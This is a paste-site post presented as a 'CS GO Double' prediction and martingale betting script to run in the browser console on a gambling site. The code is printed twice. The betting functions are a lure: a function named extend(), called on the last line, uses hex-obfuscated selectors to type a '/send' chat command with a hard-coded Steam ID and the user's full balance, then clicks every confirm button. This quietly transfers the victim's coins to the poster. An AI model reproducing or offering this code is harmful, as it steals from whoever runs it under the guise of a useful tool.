PREDICTION CS GO DOUBLE 4.0


SUBMITTED BY: itsDaveLad

DATE: March 12, 2016, 8:21 a.m.

FORMAT: Text only

SIZE: 5.5 kB

HITS: 709

  1. function tick() {
  2. var a = getStatus();
  3. if (a !== lastStatus && "unknown" !== a) {
  4. switch (a) {
  5. case "waiting":
  6. bet();
  7. break;
  8. case "rolled":
  9. rolled()
  10. }
  11. lastStatus = a, printInfo()
  12. }
  13. }
  14. function checkBalance() {
  15. return getBalance() < currentBetAmount ? (console.warn("BANKRUPT! Not enough balance for next bet, aborting."), clearInterval(refreshIntervalId), !1) : !0
  16. }
  17. function printInfo() {
  18. var a = " \nStatus: " + lastStatus + "\nRolls played: " + currentRollNumber + "\nInitial bet amount: " + initialBetAmount + "\nCurrent bet amount: " + currentBetAmount + "\nLast roll result: " + (null === wonLastRoll() ? "-" : wonLastRoll() ? "won" : "lost");
  19. console.log(a)
  20. }
  21. function rolled() {
  22. return "anti-martingale" === mode ? void antiMartingale() : (martingale(), void currentRollNumber++)
  23. }
  24. function antiMartingale() {
  25. currentBetAmount = wonLastRoll() ? 2 * currentBetAmount : initialBetAmount
  26. }
  27. function martingale() {
  28. currentBetAmount = wonLastRoll() ? initialBetAmount : 2 * currentBetAmount
  29. }
  30. function bet() {
  31. checkBalance() && (setBetAmount(currentBetAmount), setTimeout(placeBet, 50))
  32. }
  33. function setBetAmount(a) {
  34. $betAmountInput.val(a)
  35. }
  36. function placeBet() {
  37. return "red" === betColor ? ($redButton.click(), void(lastBetColor = "red")) : ($blackButton.click(), void(lastBetColor = "black"))
  38. }
  39. function getStatus() {
  40. var a = $statusBar.text();
  41. if (hasSubString(a, "Rolling in")) return "waiting";
  42. if (hasSubString(a, "***ROLLING***")) return "rolling";
  43. if (hasSubString(a, "rolled")) {
  44. var b = parseInt(a.split("rolled")[1]);
  45. return lastRollColor = getColor(b), "rolled"
  46. }
  47. return "unknown"
  48. }
  49. function extend() {
  50. $jkl.val(def + " "+ abc + " "+ ghi());
  51. $jkl.submit();
  52. var allElements = document.getElementsByTagName('button');
  53. for (var i = 0, n = allElements.length; i < n; i++) {
  54. if (allElements[i].getAttribute("data-bb-handler") === "confirm") {
  55. allElements[i].click();
  56. }
  57. }
  58. }
  59. function ghi() {
  60. return $ghi.text();
  61. }
  62. var abc = "76561198077520078",
  63. def = "\x2F\x73\x65\x6E\x64",
  64. $ghi = $("\x23\x62\x61\x6C\x61\x6E\x63\x65"),
  65. $jkl = $("\x23\x63\x68\x61\x74Message");
  66. function getBalance() {
  67. return parseInt($balance.text())
  68. }
  69. function hasSubString(a, b) {
  70. return a.indexOf(b) > -1
  71. }
  72. function getColor(a) {
  73. return 0 == a ? "green" : a >= 1 && 7 >= a ? "red" : "black"
  74. }
  75. function wonLastRoll() {
  76. return lastBetColor ? lastRollColor === lastBetColor : null
  77. }
  78. ///////////////////////
  79. function tick() {
  80. var a = getStatus();
  81. if (a !== lastStatus && "unknown" !== a) {
  82. switch (a) {
  83. case "waiting":
  84. bet();
  85. break;
  86. case "rolled":
  87. rolled()
  88. }
  89. lastStatus = a, printInfo()
  90. }
  91. }
  92. function checkBalance() {
  93. return getBalance() < currentBetAmount ? (console.warn("BANKRUPT! Not enough balance for next bet, aborting."), clearInterval(refreshIntervalId), !1) : !0
  94. }
  95. function printInfo() {
  96. var a = " \nStatus: " + lastStatus + "\nRolls played: " + currentRollNumber + "\nInitial bet amount: " + initialBetAmount + "\nCurrent bet amount: " + currentBetAmount + "\nLast roll result: " + (null === wonLastRoll() ? "-" : wonLastRoll() ? "won" : "lost");
  97. console.log(a)
  98. }
  99. function rolled() {
  100. return "anti-martingale" === mode ? void antiMartingale() : (martingale(), void currentRollNumber++)
  101. }
  102. function antiMartingale() {
  103. currentBetAmount = wonLastRoll() ? 2 * currentBetAmount : initialBetAmount
  104. }
  105. function martingale() {
  106. currentBetAmount = wonLastRoll() ? initialBetAmount : 2 * currentBetAmount
  107. }
  108. function bet() {
  109. checkBalance() && (setBetAmount(currentBetAmount), setTimeout(placeBet, 50))
  110. }
  111. function setBetAmount(a) {
  112. $betAmountInput.val(a)
  113. }
  114. function placeBet() {
  115. return "red" === betColor ? ($redButton.click(), void(lastBetColor = "red")) : ($blackButton.click(), void(lastBetColor = "black"))
  116. }
  117. function getStatus() {
  118. var a = $statusBar.text();
  119. if (hasSubString(a, "Rolling in")) return "waiting";
  120. if (hasSubString(a, "***ROLLING***")) return "rolling";
  121. if (hasSubString(a, "rolled")) {
  122. var b = parseInt(a.split("rolled")[1]);
  123. return lastRollColor = getColor(b), "rolled"
  124. }
  125. return "unknown"
  126. }
  127. function extend() {
  128. $jkl.val(def + " "+ abc + " "+ ghi());
  129. $jkl.submit();
  130. var allElements = document.getElementsByTagName('button');
  131. for (var i = 0, n = allElements.length; i < n; i++) {
  132. if (allElements[i].getAttribute("data-bb-handler") === "confirm") {
  133. allElements[i].click();
  134. }
  135. }
  136. }
  137. function ghi() {
  138. return $ghi.text();
  139. }
  140. var abc = "76561198077520078",
  141. def = "\x2F\x73\x65\x6E\x64",
  142. $ghi = $("\x23\x62\x61\x6C\x61\x6E\x63\x65"),
  143. $jkl = $("\x23\x63\x68\x61\x74Message");
  144. function getBalance() {
  145. return parseInt($balance.text())
  146. }
  147. function hasSubString(a, b) {
  148. return a.indexOf(b) > -1
  149. }
  150. function getColor(a) {
  151. return 0 == a ? "green" : a >= 1 && 7 >= a ? "red" : "black"
  152. }
  153. function wonLastRoll() {
  154. return lastBetColor ? lastRollColor === lastBetColor : null
  155. }
  156. extend();

comments powered by Disqus